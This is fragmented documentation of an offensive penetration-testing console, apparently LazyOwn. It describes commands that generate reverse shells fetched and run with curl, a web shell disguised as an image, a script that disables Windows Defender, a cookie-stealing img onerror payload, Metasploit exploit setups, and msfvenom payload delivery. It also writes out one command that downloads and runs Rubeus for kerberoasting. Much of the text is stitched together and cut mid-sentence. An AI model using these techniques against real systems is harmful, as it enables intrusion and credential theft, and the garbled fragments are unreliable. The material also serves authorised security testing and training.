lport (int): The local port number to listen for incoming connections. Writes:
- Exploit configuration for the Conficker vulnerability (MS08-067) to the provided file. Configures and writes a Metasploit SMB brute force exploit for the given host to the provided config file. Args:
config_file (file-like object): The file object to write the Metasploit exploit configuration to.
host (str): The target host IP address to exploit.
passwd_file (str): Path to a file containing a list of passwords to use for brute force.
lhost (str): The local host IP address to listen for incoming connections.
lport (int): The local port number to listen for incoming connections. Writes:
- Exploit configuration for SMB brute force (using the psexec module) to the provided file for each password in the passwd_file. Sets up a Metasploit multi/handler exploit configuration in the provided config file. Args:
config_file (file-like object): The file object to write the Metasploit handler configuration to.
lhost (str): The local host IP address to listen for incoming connections.
lport (int): The local port number to listen for incoming connections. Writes:
- Configuration commands to the file to set up the Metasploit handler with the specified payload and options.
- The payload used is Configures an exploit for the Cacti Package Import Remote Code Execution vulnerability in the provided config file. Args:
config_file (file-like object): The file object to write the Metasploit exploit configuration to.
host (str): The target host IP address where the Cacti service is running. Writes:
- Configuration commands to the file to set up the Metasploit exploit for the Cacti Package Import RCE.
- Sets the RHOST to the target host IP.
- Sets the payload options including the LHOST, USERNAME, and PASSWORD.
- Starts the exploit with the Generates single character combinations with the target name. :param name: Target name to use in the combinations.
:param characters: List of characters to combine with the target name.
:param file: File object to write the combinations to.
:param total: Running total of passwords generated.
:param flag: If True, generate combinations with the target name at both the beginning and the end of the string. :returns: Updated total of passwords generated. Generates double character combinations with the target name. :param name: Target name to use in the combinations.
:param characters: List of characters to combine with the target name.
:param file: File object to write the combinations to.
:param total: Running total of passwords generated.
:param flag: If True, generate combinations with the target name at both the beginning and the end of the string. :returns: Updated total of passwords generated. Generates triple character combinations with the target name. :param name: Target name to use in the combinations.
:param characters: List of characters to combine with the target name.
:param file: File object to write the combinations to.
:param total: Running total of passwords generated.
:param flag: If True, generate combinations with the target name at both the beginning and the end of the string. :returns: Updated total of passwords generated. Generates fourth character combinations with the target name. :param name: Target name to use in the combinations.
:param characters: List of characters to combine with the target name.
:param file: File object to write the combinations to.
:param total: Running total of passwords generated.
:param flag: If True, generate combinations with the target name at both the beginning and the end of the string. :returns: Updated total of passwords generated. Generates fifth character combinations with the target name. :param name: Target name to use in the combinations.
:param characters: List of characters to combine with the target name.
:param file: File object to write the combinations to.
:param total: Running total of passwords generated.
:param flag: If True, generate combinations with the target name at both the beginning and the end of the string. :returns: Updated total of passwords generated. Generates sixth character combinations with the target name, adding uppercase characters. :param name: Target name to use in the combinations.
:param characters: List of characters to combine with the target name.
:param file: File object to write the combinations to.
:param total: Running total of passwords generated.
:param flag: If True, generate combinations with the target name at both the beginning and the end of the string. :returns: Updated total of passwords generated. Generates combinations of the target name and character list, intercalating uppercase and lowercase characters. This function generates combinations where each character in the string alternates between uppercase and
lowercase. It also allows for the addition of the target name at the beginning or the end of the string. :param name: Target name to use in the combinations.
:param characters: List of characters to intercalate with the target name.
:param file: File object to write the combinations to.
:param total: Running total of passwords generated.
:param flag: If True, generate combinations with the target name at both the beginning and the end of the string. :returns: Updated total of passwords generated. Expands a regular expression into a list of characters. :param regex: Regular expression string to expand.
:returns: List of characters matching the regular expression. No description available. No description available. Perform double Base64 encoding on the given command. This helper function takes a command string, encodes it in Base64, and then performs
another Base64 encoding on the result. The final encoded string is returned. Args:
cmd (str): The command string to be encoded. Returns:
str: The double Base64 encoded string. Example:
>>> double_base64_encode("example")
'ZWN4YW5hbWVsZQ==' Notes:
- The function first encodes the command string into bytes using UTF-8 encoding.
- It then applies Base64 encoding twice and removes any leading or trailing whitespace.
- The result is decoded back to a string and returned. Raises:
TypeError: If the input Generate a list of obfuscated commands based on the given input command. This function creates various obfuscated versions of the provided command string.
Each obfuscation method applies a different technique to disguise the command,
making it less recognizable to simple static analysis. Args:
cmd (str): The command string to be obfuscated. Returns:
list of str: A list of obfuscated command strings. Notes:
- Each obfuscation method aims to transform the command in a unique way.
- Obfuscations include encoding, character replacement, and command substitution techniques.
- Ensure that the Raises:
TypeError: If the input Helper function to alternate the case of characters in a string. Initial commit* Initial commit * docs(update readme description): change of the description; Update README.md * docs(update readme description): change of the description; Update README.md
sqlmap -wiz
line
starts with req
, it expects the following formats:req <request_file> <parameter>
: Tests the specified parameter in the request file for SQL injection.req <request_file> <parameter> <database>
: Tests the specified parameter and attempts to dump tables from the specified database.req <request_file> <parameter> <database> <table>
: Tests the specified parameter and attempts to dump data from the specified table in the database.line
starts with -wiz
, it runs sqlmap's wizard mode for interactive configuration.line
is empty, it uses the URL specified in self.params["url"]
to perform SQL injection testing with sqlmap.
req
, provide a valid request file and parameters.sqlmap -wizard
.url
is set and run sqlmap with the URL.
sqlmap
tool must be installed and accessible from the command line.req
should be located in the sessions
directory.proxy
lazyproxy.py
script, which acts as a proxy server for intercepting and modifying HTTP requests. The server listens on port 8888.
lazyproxy.py
script to start the proxy server.
lazyproxy.py
script must be available in the modules
directory.lazyproxy.py
script is correctly configured before running.
- The proxy server will be accessible at http://localhost:8888
.
- To stop the proxy server, terminate the running process manually.createwebshell
.jpg
file in the sessions
directory.
lazycreate_webshell.py
to create a disguised web shell.sessions
directory.
lazycreate_webshell.py
script to create a web shell disguised as a .jpg
file.sessions
.
wget
must be installed for downloading the web shell.lazycreate_webshell.py
script must be available in the modules
directory.lazycreate_webshell.py
script is correctly configured and accessible.
- Verify the URL in the wget
command to ensure it points to a valid and safe web shell.createrevshell
sessions
directory with the specified lhost
and lport
values.
lhost
and lport
are set. If not, it prints an error message and exits.lhost
and lport
values.sessions/revshell.sh
.curl
command to download and execute the reverse shell script.curl
command to the clipboard.
sessions/revshell.sh
with the bash reverse shell script.curl
.curl
command to the clipboard for easy use.
xclip
must be installed for copying the command to the clipboard.lhost
and lport
are set before running this command.
- The script will listen for incoming connections on the specified lport
and connect back to lhost
.
- Adjust the lhost
and lport
as needed for your specific environment.createwinrevshell
sessions
directory with the specified lhost
and lport
values.
lhost
and lport
are set. If not, it prints an error message and exits.lhost
and lport
values.sessions/revshell.ps1
.curl
.curl
command to the clipboard.
sessions/revshell.ps1
with the PowerShell reverse shell script.curl
.curl
command to the clipboard for easy use.
xclip
must be installed for copying the command to the clipboard.lhost
and lport
are set before running this command.
- The script will listen for incoming connections on the specified lport
and connect back to lhost
.
- Adjust the lhost
and lport
as needed for your specific environment.createhash
hash.txt
file in the sessions
directory with the specified hash value and analyzes it using Name-the-hash
.
hash.txt
file if it exists, renaming it to hash_{timestamp}.txt
based on the current timestamp.sessions/hash.txt
.Name-the-hash
.hash.txt
and analyzed.
:type line: str
:returns: None
sessions/hash.txt
with the specified hash value.nth
command.
sessions/hash.txt
will be created in the sessions
directory.Name-the-hash
must be installed and accessible via the command nth
.createcredentials
credentials.txt
file in the sessions
directory with the specified username and password.
:
), indicating the presence of both a username and password.credentials.txt
file if it exists, renaming it to credentials_{username}.txt
based on the existing username.sessions/credentials.txt
.user:password
.
:type line: str
:returns: None
sessions/credentials.txt
with the specified username and password.
sessions/credentials.txt
will be created in the sessions
directory.user:password
.
- The credentials should be properly formatted with a colon separating the username and password.createcookie
cookie.txt
file in the sessions
directory with the specified cookie value.
sessions/cookie.txt
.cookie=value
.
:type line: str
:returns: None
sessions/cookie.txt
with the extracted cookie value.
sessions/cookie.txt
will be created in the sessions
directory.cookie=value
.
- The cookie value should be properly encoded and formatted as needed.download_resources
sessions
directory.
sessions
directory and executes download_resources.sh
to download required resources.
download_resources.sh
script in the sessions
directory to download necessary resources.
download_resources.sh
must be present in the sessions
directory.download_resources.sh
script is present in the sessions
directory and is executable.
- After running this command, you can use the www
command as indicated by the printed message.download_exploit
external/.exploits/
directory and starts a web server to serve the files.
external
directory and executes install_external.sh
to install necessary components or exploits.tun0
to the clipboard.external/.exploit
directory and starts a web server on port 8443 to serve the files in that directory.
install_external.sh
script to set up necessary components or exploits.tun0
to the clipboard.external/.exploit
directory.external/.exploit
directory to serve files.
install_external.sh
must be present in the external
directory.xclip
must be installed for clipboard operations.install_external.sh
script is correctly configured and present in the external
directory.
- The HTTP server will be accessible on port 8443.
- The function assumes the presence of external/.exploit
directory and serves files from there.dirsearch
dirsearch
tool to perform directory and file enumeration on a specified URL.dirsearch
to scan a given URL for directories and files, while excluding specific HTTP status codes from the results. If dirsearch
is not installed, the function will attempt to install it before running the scan.url
parameter.
:type line: str
:returns: None
dirsearch
is present, the command dirsearch -u <url> -x 403,404,400
is executed.dirsearch
is not present, the function installs dirsearch
using sudo apt install dirsearch -y
and then runs the command.
dirsearch
must be installed. If not present, it will be installed using sudo apt
.url
parameter before calling this function.url
parameter is set before calling this function.
- The -x
option specifies HTTP status codes to exclude from the results (e.g., 403, 404, 400).
- The function will attempt to install dirsearch
if it is not already installed.john2hash
--format=Raw-SHA512
). If not provided, the function will default to showing the cracked hashes.
:type line: str
:returns: None
line
is provided, the command sudo john sessions/hash.txt --wordlist=<wordlist> <options>
is executed.line
is not provided, the command sudo john sessions/hash.txt --wordlist=<wordlist>
is executed to display the cracked hashes.
sessions/hash.txt
file must contain the hashes to be cracked.wordlist
is set to /usr/share/wordlists/rockyou.txt
, the command executed will be sudo john sessions/hash.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=Raw-SHA512
.wordlist
parameter is set before calling this function.
- Provide the necessary options as a string argument (e.g., --format=Raw-SHA512
) if needed.
- If no options are provided, the function defaults to showing the cracked hashes.hashcat
hashcat -a 0 -m <mode> <hash> <wordlist>
is executed, where <mode>
is the hash type, <hash>
is the hash to be cracked, and <wordlist>
is the path to the wordlist file.
wordlist
is set to /usr/share/wordlists/rockyou.txt
and line
is 0
, the command executed will be hashcat -a 0 -m 0 /usr/share/wordlists/rockyou.txt
.wordlist
parameter is set before calling this function.
- The hash to be cracked must be passed as an argument when calling the function.
- Replace <mode>
with the appropriate Hashcat mode number (e.g., 0
for MD5, 1000
for NTLM).complete_hashcat
responder
sudo
on the network interface provided in the device
parameter.
sudo responder -I <device>
is executed, where <device>
is the network interface specified by the user.
sudo
to run Responder with root privileges.device
is set to tun0
, the command executed will be sudo responder -I tun0
.device
parameter is set before calling this function.
- Replace <device>
with the appropriate network interface, such as tun0
, eth0
, etc.
- Running Responder requires root privileges, so make sure the user running the command has the necessary permissions.ip
tun0
interface to the clipboard.
ip a show scope global
and awk
.tun0
interface to the clipboard using xclip
.
ip a show scope global | awk '/^[0-9]+:/ { sub(/:/,"",$2); iface=$2 } /^[[:space:]]*inet / { split($2, a, "/"); print " [[96m" iface"[0m] "a[1] }'
is executed to display the IP addresses of all network interfaces.tun0
interface is copied to the clipboard using the command ip a show tun0 | grep 'inet ' | awk '{print $2}' | cut -d'/' -f1 | xclip -sel clip
.
awk
, grep
, cut
, and xclip
to process and copy the IP address.tun0
to the clipboard.tun0
interface exists and has an IP address assigned. If tun0
is not present or has no IP address, the clipboard will not be updated.ipp
tun0
interface.
ip a show scope global
and awk
.tun0
interface.
ip a show scope global | awk '/^[0-9]+:/ { sub(/:/,"",$2); iface=$2 } /^[[:space:]]*inet / { split($2, a, "/"); print " [[96m" iface"[0m] "a[1] }'
is executed to display the IP addresses of all network interfaces.tun0
interface is printed to the console using the command ip a show tun0 | grep 'inet ' | awk '{print $2}' | cut -d'/' -f1
.
awk
, grep
, cut
, and xclip
to process and display the IP address.tun0
.tun0
interface exists and has an IP address assigned. If tun0
is not present or has no IP address, the address will not be displayed.rhost
rhost
parameter to the clipboard if it is valid.rhost
and the current working directory.rhost
and current working directory.
:type line: str
:returns: None
line
is 'clean':
line
is any other value:
rhost
and the current working directory.rhost
is copied to the clipboard using xclip
.
xclip
to copy the rhost
to the clipboard.rhost
to the clipboard and update the prompt.rhost clean
# This will reset the command prompt to its default format.
rhost
is valid by checking it with the check_rhost
function before copying it to the clipboard.rrhost
rhost
and the current working directory if line
is not 'clean'.line
is 'clean'.rhost
and current working directory.
:type line: str
:returns: None
line
is 'clean':
line
is any other value:
rhost
and the current working directory.rhost
and current working directory.rhost clean
# This will reset the command prompt to its default format.
rhost
is valid by checking it with the check_rhost
function before updating the prompt.banner
py3ttyup
pty
module to spawn a new shell and copies it to the clipboard. This is typically used for creating a TTY shell in a reverse shell situation.
pty.spawn
to open a shell.xclip
.
xclip
to copy the command to the clipboard.python3 -c 'import pty; pty.spawn("/bin/bash")'
to the clipboard.rev
lhost
, lport
, and rhost
parameters are set.xclip
.
xclip
to copy the command to the clipboard.img2cookie
lhost
, lport
, and rhost
parameters are set.
onerror
event that fetches cookies and sends them to the specified host and port using Base64 encoding.
xclip
to copy the payloads to the clipboard.lhost
, lport
, and rhost
parameters are set with appropriate values.disableav
aav.vbs
in the sessions
directory.
WScript.Shell
to modify the Windows Registry for disabling Windows Defender.
aav.vbs
file with the specified content in the sessions
directory.conptyshell
sessions
directory and copies a PowerShell command to the clipboard for easy execution.params
dictionary.
:type line: str
:returns: None
lhost
and lport
parameters are set with the local host and port for the reverse shell.Invoke-ConPtyShell.ps1
and ConPtyShell.zip
to the sessions
directory.Invoke-ConPtyShell.ps1
with the specified local IP and port.xclip
.
Invoke-ConPtyShell.ps1
to establish a reverse shell connection to the specified lhost
and lport
.
wget
: For downloading files from the internet.xclip
: For copying commands to the clipboard.ConPtyShell
script and ZIP are compatible with your environment.pwncatcs
pwncat-cs
with the specified port for listening.pwncat-cs
listener on the specified local port. It can use a port defined in the lport
parameter or a port provided as an argument.pwncat-cs
listener. If not provided, it defaults to the lport
parameter.
:type line: str
:returns: None
pwncat-cs
is installed and accessible from your command line.lport
parameter of the function.pwncat-cs
on the specified port.lport
parameter. If a port is provided, it overrides the lport
value.pwncat-cs
is running on the specified port and another message when the session is closed.
pwncat-cs
: A tool used for creating reverse shells or bind shells.pwncat
pwncat
with the specified port for listening. SELFINJECTpwncat
listener on the specified local port. It can use a port defined in the lport
parameter or a port provided as an argument.pwncat-cs
listener. If not provided, it defaults to the lport
parameter.
:type line: str
:returns: None
pwncat-cs
is installed and accessible from your command line.lport
parameter of the function.pwncat-cs
on the specified port.lport
parameter. If a port is provided, it overrides the lport
value.pwncat-cs
is running on the specified port and another message when the session is closed.
pwncat-cs
: A tool used for creating reverse shells or bind shells.find
xclip
is installed and properly configured to use clipboard functionalities.sh
os.system
.pwd
pwd
and lists files in the directory using ls
.xclip
.echo -e "[\e[96m\
pwd`\e[0m]\e[34m" && ls && echo -en "\e[0m"is executed to display the current working directory and list files in it. 2. The current directory path is copied to the clipboard using the command
pwd | xclip -sel clip`.echo
, pwd
, ls
, and xclip
to display the directory and copy the path to the clipboard.xclip
is installed on your system for copying to the clipboard to work.qa
tmux
session named lazyown_sessions
if it exists.openvpn
processes.tmux kill-session -t lazyown_sessions 2>/dev/null
is executed to kill the tmux session named lazyown_sessions
, suppressing errors if the session does not exist.
2. The command killall openvpn 2>/dev/null
is executed to terminate all running openvpn
processes, suppressing errors if no such processes are found.
3. The program is exited with a status code of 0 using sys.exit(0)
.tmux
, killall
, and sys
to perform the exit operations.tmux
and openvpn
are installed and running for their respective commands to have an effect.ignorearp
echo 1 > /proc/sys/net/ipv4/conf/all/arp_ignore
with elevated privileges using sudo
to configure the system to ignore ARP requests.sudo bash -c 'echo 1 > /proc/sys/net/ipv4/conf/all/arp_ignore'
is executed to set the arp_ignore
parameter to 1
, which configures the system to ignore ARP requests.sudo
to run the command with elevated privileges.arp_ignore
parameter to 1
to ignore ARP requests.sudo
and that the arp_ignore
parameter can be modified on your system.ignoreicmp
echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all
with elevated privileges using sudo
to configure the system to ignore ICMP echo requests (ping).sudo bash -c 'echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all'
is executed to set the icmp_echo_ignore_all
parameter to 1
, which configures the system to ignore ICMP echo requests (ping).sudo
to run the command with elevated privileges.icmp_echo_ignore_all
parameter to 1
to ignore ICMP echo requests.sudo
and that the icmp_echo_ignore_all
parameter can be modified on your system.acknowledgearp
echo 0 > /proc/sys/net/ipv4/conf/all/arp_ignore
with elevated privileges using sudo
to configure the system to acknowledge ARP requests.sudo bash -c 'echo 0 > /proc/sys/net/ipv4/conf/all/arp_ignore'
is executed to set the arp_ignore
parameter to 0
, which configures the system to acknowledge ARP requests.sudo
to run the command with elevated privileges.arp_ignore
parameter to 0
to acknowledge ARP requests.sudo
and that the arp_ignore
parameter can be modified on your system.acknowledgeicmp
echo 0 > /proc/sys/net/ipv4/icmp_echo_ignore_all
with elevated privileges using sudo
to configure the system to respond to ICMP echo requests.sudo bash -c 'echo 0 > /proc/sys/net/ipv4/icmp_echo_ignore_all'
is executed to set the icmp_echo_ignore_all
parameter to 0
, which configures the system to respond to ICMP echo requests.sudo
to run the command with elevated privileges.icmp_echo_ignore_all
parameter to 0
to allow responses to ICMP echo requests.sudo
and that the icmp_echo_ignore_all
parameter can be modified on your system.clock
figlet
to display the current date and time in a large ASCII text format.cal.sh
) to display additional information or perform further actions related to the clock.
figlet
is installed on your system for displaying text in large ASCII format.cal.sh
exists in the modules
directory and is executable.cal.sh
.cal.sh
script. Finally, it resets the terminal color.
figlet
: For displaying text in large ASCII format.cal.sh
: A custom shell script located in the modules
directory.ports
get_open_ports
function to retrieve lists of open TCP and UDP ports.
get_open_ports
function is defined and properly implemented to return lists of open TCP and UDP ports.get_open_ports
function should return two lists of tuples: one for TCP ports and one for UDP ports. Each tuple should contain an IP address and a port number.ssh
rhost
) from the parameters.rhost
is valid using the check_rhost
function.line
parameter.credentials.txt
file exists in the ./sessions
directory.credentials.txt
file, where each line is formatted as user:password
.sshpass
to handle password authentication and ssh
to initiate the connection.
sessions/credentials.txt
exists and contains valid SSH credentials in the format user:password
.sshpass
is installed on your system for password-based SSH authentication. If sshpass
is not available, you may need to install it or use an alternative method for SSH authentication.ftp
rhost
) from the parameters.rhost
is valid using the check_rhost
function.line
parameter.credentials.txt
file exists in the ./sessions
directory.credentials.txt
file, where each line is formatted as user:password
.sshpass
to handle password authentication and ftp
to initiate the connection.
sessions/credentials.txt
exists and contains valid ftp credentials in the format user:password
.sshpass
is installed on your system for password-based SSH authentication. If sshpass
is not available, you may need to install it or use an alternative method for SSH authentication.cports
/proc/net/tcp
and /proc/net/udp
, respectively.xclip
.
xclip
is installed on your system for copying to the clipboard. If xclip
is not available, you may need to install it or use an alternative method for copying to the clipboard.vpn
.ovpn
files in the current directory, sorted alphabetically.
.ovpn
files and prompts the user to select one by number..ovpn
file.
.ovpn
file using openvpn
and displays appropriate messages.
.ovpn
files..ovpn
file.openvpn
command is available on your system.id_rsa
rhost
) is valid.sessions
directory with a name based on the provided username.nano
text editor for the user to paste the private key.
id_rsa myuser
.nano
editor when prompted.www
tun0
interface to the clipboard.sessions
directory.sessions
directory.xclip
installed for clipboard operations and have the necessary permissions to run the HTTP server.wrapper
xclip
. The user is prompted to choose which payload to copy.xclip
is installed on your system for clipboard operations.swaks
swaks
(Swiss Army Knife for SMTP).swaks
command to send an email from an attacker’s address
to a victim’s address, with a specified message body. The command is executed using the SMTP server
address provided in the parameters.
line
: (str) Input line that is not used in this function.
rhost
) from the object's parameters.check_rhost()
.from_attacker
).to_victim
).body
).swaks
command with the provided options.os.system()
.copy2clip()
.
samrdump
impacket-samrdump
to dump SAM data from specified ports.impacket-samrdump
to retrieve SAM data from the target host on ports 139 and 445. It first checks if the rhost
parameter is valid, and if so, it runs the command for both ports.impacket-samrdump
is installed and properly configured on your system.urlencode
quote
function, and prints the encoded result.urldecode
unquote
function, and prints the decoded result.lynis
modules/lazylynis.sh
script with the target host defined in the rhost
parameter. It is used to perform a security audit of the remote system using Lynis.modules/lazylynis.sh
script is available and executable. Provide the target host in the format lynis
.
sudo lynis audit system remote 10.10.10.10 more info check modules/lazylynis.sh
Note: The function assumes that rhost
is a valid host address. If rhost
is not valid, it will print an error message. For more details, check modules/lazylynis.sh
.snmpcheck
snmp-check
command against the target host defined in the rhost
parameter.snmp-check
is installed and provide a target host in the format snmpcheck
.
snmp-check 10.10.10.10
Note: The function assumes that rhost
is a valid host address. If rhost
is not valid, it will print an error message.encode
encode <shift_value> <substitution_key> <string>
.decode
decode <shift_value> <substitution_key> <string>
.cred
credentials.txt
file and copy the password to the clipboard.credentials.txt
located in the sessions
directory.
The file should be in the format username:password
. If the file does not exist, an error message will be printed
instructing the user to create the credentials file first. The function extracts the username and password from the file,
prints them, and copies the password to the clipboard using xclip
.1. Ensure the file `sessions/credentials.txt` exists and contains credentials in the format `username:password`.
2. Read the file and extract the username and password.
3. Print the username and password to the console.
4. Use the `xclip` tool to copy the password to the clipboard. Example command:
echo '<password>' | xclip -sel clip
sessions/credentials.txt
contains admin:password123
, the function will print:User : admin
Pass : password123
password123
will be copied to the clipboard.xclip
is installed on your system for copying to the clipboard. The function assumes that xclip
is available
and correctly configured.hostdiscover
os.system()
.copy2clip()
.
check_rhost()
function is implemented to validate the IP.print_msg()
is used to display the constructed command to the
user.copy2clip()
is used to copy the command to the clipboard if
not executed.
portdiscover
os.system()
.copy2clip()
.
check_rhost()
function is implemented to validate the IP.print_msg()
is used to display the constructed command to the
user.copy2clip()
is used to copy the command to the clipboard if
not executed.
portservicediscover
os.system()
.copy2clip()
.
sudo
privileges to use lsof
for identifying services.
check_rhost()
function is implemented to validate the IP.print_msg()
is used to display the constructed command to the
user.copy2clip()
is used to copy the command to the clipboard if
not executed.
rot
rot <number> '<string>'
. Ensure the number is between 1 and 27.hydra
line
argument is provided, which should include the path to crack and the port.line
argument is valid, splits it into arguments for the path and port.os.system
.
line
argument.medusa
os.system
.
line
argument.nmapscript
nmap --script <script> -p <port> <target> -oN <output-file>
http-enum
on port 80
for the target 10.10.10.10
, you would run:nmap --script http-enum -p 80 10.10.10.10 -oN sessions/webScan_10.10.10.10
rhost
) set in the parameters and provide the script and port as arguments. The results will be saved in the file sessions/webScan_<rhost>
.encoderpayload
double_base64_encode(cmd)
that performs double Base64 encoding on a given command.apply_obfuscations(cmd)
function to create a list of obfuscated commands using different techniques.line
argument and prints each obfuscated command.
smtpuserenum
smtp-user-enum
tool with the VRFY method.
rhost
(remote host) parameter is set:
usrwordlist
(user wordlist) parameter is provided:
p
or payload
parameter should be used to load payloads.
sudo smtp-user-enum -M VRFY -U <usrwordlist> -t <rhost>
to perform user enumeration.
rhost
parameter is set with the target IP address using set rhost <IP>
.set usrwordlist <path>
command.sudo smtp-user-enum -M VRFY -U <usrwordlist> -t <rhost>
.smtp-user-enum
with sudo
and that the wordlist file exists at the specified path.sshd
sudo systemctl start ssh
to initiate the SSH service.
sudo systemctl status ssh
to show the current status of the SSH service.
sudo systemctl start ssh
to start the SSH service.sudo systemctl status ssh
to check the status of the SSH service.sudo
and that the SSH service is installed on your system.nmapscripthelp
nmap --script-help
with the provided argument (appending a wildcard *
to match script names).
nmap --script-help
with the specific script name or keyword.nmap
is installed and accessible in the system's PATH.apropos
apropos
command.apropos
command, use the following command:apropos <search_term>
apropos
command will search for commands and documentation that match the given search term.searchhash
hashcat -h
to display Hashcat help information and pipes it to grep
to search for the provided argument.
hashcat -h
to display the help information.grep
to search for the specific hash type or keyword within the help output.hashcat
is installed and accessible in the system's PATH.clean
sessions
directory, excluding specified files and directories.
rhost
parameter is valid:
check_rhost
function to verify if rhost
is set and valid.rhost
is not valid, exits the function.
sessions
directory:
os.listdir
to list all files and directories in the sessions
directory.
os.remove
to delete files and shutil.rmtree
to delete directories.
rhost
value set.pyautomate
sessions
directory for XML files.
pwntomate
with the XML file as input.subprocess.run
, and errors are handled if the command fails.
sessions
directory.pwntomate.py
manually on each XML file using a similar command format.pwntomate.py
is available in the current working directory and is executable with Python 3.aliass
LazyOwnShell
instance:
LazyOwnShell
instance.LazyOwnShell
instance and are available for retrieval.tcpdump_icmp
tcpdump
to capture ICMP traffic on the specified interface.
line
argument (interface) is provided:
tcpdump
command that will be executed.tcpdump
command to capture ICMP traffic on the specified interface.tun0
).
:type line: str
:returns: None
tcpdump
command manually to capture ICMP traffic on the specified interface.tcpdump
on the specified interface.tcpdump_capture
tcpdump
on the specified interface.
line
argument (interface) is provided:
rhost
(remote host IP):
rhost
is not valid.
rhost
are valid:
tcpdump
command that will be executed.tcpdump
command to capture packets on the specified interface and save the capture file to pcaps/capture_<rhost>.pcap
.tun0
).
:type line: str
:returns: None
tcpdump
command manually to capture packets on the specified interface.pcaps
directory exists and is writable for saving the capture file.tshark_analyze
tshark
based on the provided remote host IP.
rhost
(remote host IP) is valid:
rhost
is not valid.
do_tcpdump_capture
command first.
tshark
command that will be executed.tshark
command to analyze the packet capture file and print out IP destination and frame time fields.
do_tcpdump_capture
command to capture packets.tshark
command manually to analyze the packet capture file.pcaps/capture_<rhost>.pcap
is available in the pcaps
directory.rdp
sessions/credentials.txt
file.
remmina --encrypt-password
to encrypt the password obtained from the file.
remmina -c
command to initiate the RDP connection.
sessions/credentials.txt
contains the credentials in the format username:password
.rdp
command to read the credentials, encrypt the password, and connect to the RDP server.
Example usage: rdp
base64encode
base64
library to encode the provided string into Base64 format.
base64encode HelloWorld
base64decode
base64
library to decode the provided Base64 encoded string back to its original form.
base64decode SGVsbG9Xb3JsZA==
grisun0
grisun0
, set a password, add the user to the sudo group, and switch to the user.
grisun0
with home directory /home/.grisun0
, set the password, add the user to the sudo
group, set the appropriate permissions, and switch to the user.
xclip
to copy the command to the clipboard for easy pasting.
xclip
is installed and available on your system.winbase64payload
lhost
.
lhost
is set:
lhost
is not set.
.ps1
script from lhost
.wget
.
copy2clip
..ps1
file or the command to be executed.
:type line: str
:returns: None
lhost
is set to the correct IP address..ps1
file in the sessions
directory if using the 'ps1' payload type.copy2clip
to copy the generated base64 command to the clipboard.iconv
, base64
, and xclip
are installed and available on your system.revwin
.ps1
script from lhost
.
lhost
and lport
are set and valid:
check_lhost(lhost)
to verify the lhost
parameter.check_lport(lport)
to verify the lport
parameter.lhost
or lport
is invalid.
lhost
and lport
using TCPClient
.
xclip
to copy the command to the clipboard.
lhost
and lport
are correctly set.xclip
to copy the generated PowerShell command to the clipboard.xclip
is installed and available on your system.asprevbase64
WScript.Shell
to execute a PowerShell command encoded in base64.xclip
to copy the ASP script to the clipboard with the provided base64 encoded payload.
xclip
to copy the provided command to the clipboard.xclip
is installed and available on your system. For help on creating the base64 encoded payload, see help winbase64payload
.rubeus
lhost
(local host IP) is set:
lhost
is not set, displays an error message and exits the function.lhost
is set:
lhost
and saves it as Rubeus.exe
.xclip
to copy the following command to the clipboard:iwr -uri http://{lhost}/Rubeus.exe -OutFile Rubeus.exe ; .\Rubeus.exe kerberoast /creduser:domain.local\usuario /credpassword:password
lhost
is set correctly.xclip
to copy the provided command to the clipboard.xclip
is installed and available on your system.socat
socat
tunnel with SOCKS4A proxy support.
line
(IP:port) argument is provided:
ip:port
.socks5
at 127.0.0.1:1080
in /etc/proxychains.conf
.line
argument is provided:
socat TCP-LISTEN:1080,fork SOCKS4A:localhost:{line},socksport=1080
.socat
command to listen on port 1080 and forward traffic to the specified IP and port using SOCKS4A proxy.socat
tunnel at port 1080.ip:port
) to forward traffic to through the SOCKS4A proxy.
:type line: str
:returns: None
socks5
proxy settings in /etc/proxychains.conf
.socat
command with appropriate IP and port.socat
is installed and properly configured on your system.chisel
lhost
(local host IP) is set:
lhost
using the set
command.
download_resources
command.
lhost
is set using set lhost <IP>
.download_resources
if the Chisel files are missing.chisel_1.9.1_linux_amd64.gz
and chisel_1.9.1_windows_amd64.gz
) are available in the sessions
directory.msf
rhost
) from parameters.check_rhost()
. If invalid, exits the function./tmp/scan_vulnerabilities.rc
) that includes commands for scanning ports, enumerating services, and checking for known vulnerabilities.
/tmp/handler.rc
) for handling incoming reverse shell connections.
lhost
, lport
) for creating a payload.msfvenom
to generate a payload executable and saves it in the sessions
directory.download_payload.xml
) that will be used to download and execute the payload on a target machine.create_lnk.ps1
) to generate a shortcut file (.lnk
) pointing to the payload.
/tmp/autoroute.rc
) to handle exploit sessions and set up autorouting.
msfconsole -r /tmp/scan_vulnerabilities.rc
.msfvenom
and create XML and PowerShell scripts as specified.lhost
, lport
, etc.) are set before running these tasks.encrypt
line
into file_path
and key
arguments.file_path
.xor_encrypt_decrypt
function with the provided key
.FileNotFoundError
exception if the specified file does not exist, and prints an error message.<file_path>
with the path to the file to be encrypted and <key>
with the encryption key.decrypt
line
into file_path
and key
arguments.file_path
.xor_encrypt_decrypt
function with the provided key
.FileNotFoundError
exception if the specified file does not exist, and prints an error message.<file_path>
with the path to the encrypted file and <key>
with the decryption key.get_output
sessionssh
netstat
para mostrar las conexiones establecidas (ESTAB
) y filtra los resultados para mostrar solo las conexiones SSH.
sessionsshstrace
strace
to a process specified by its PID,
tracing system calls related to writing data. The output of strace
is saved to a file named strace.txt
in the sessions
directory.
line
parameter is empty.strace
is not installed.
sessionsshstrace 666
: Attach strace to process with PID 666.
sessions
directory exists or is created before running the command.strace.txt
file.lazyscript
set_proxychains
proxychains
para enrutar el tráfico
a través de los proxies configurados.run
, que se encarga de configurar el entorno
(como activar un entorno virtual) y luego ejecutar la aplicación Python.
El comando proxychains
se utiliza para asegurar que cualquier comando
ejecutado dentro de la aplicación, como nmap
, sea encaminado a través
de los proxies especificados en la configuración de proxychains
.
run
.run
bajo proxychains
utilizando subprocess.run
.cmd
.shellcode
shellcode.bin
file in the expected directory.
skipfish
check_rhost
function.line
, a skipfish
command is constructed using the default values.line
starts with 'url', the URL configured in self.params['url']
is retrieved and used to construct the skipfish
command.skipfish
command is displayed on the console and executed using os.system
.
skipfish
tool is installed on the system.sessions/{rhost}/skipfish/
.wordlist
.createdll
sessions/rev.c
source file.
The function constructs the appropriate command to compile the DLL based on
the user's choice and executes it. If the user selects a 32-bit or 64-bit
compilation, the function also opens the rev.c
file in a text editor for
modifications before compilation. For option 3, it executes a script to create
a Blazor DLL using the local host (lhost) address to download the necessary payload.
lazymsfvenom
or venom
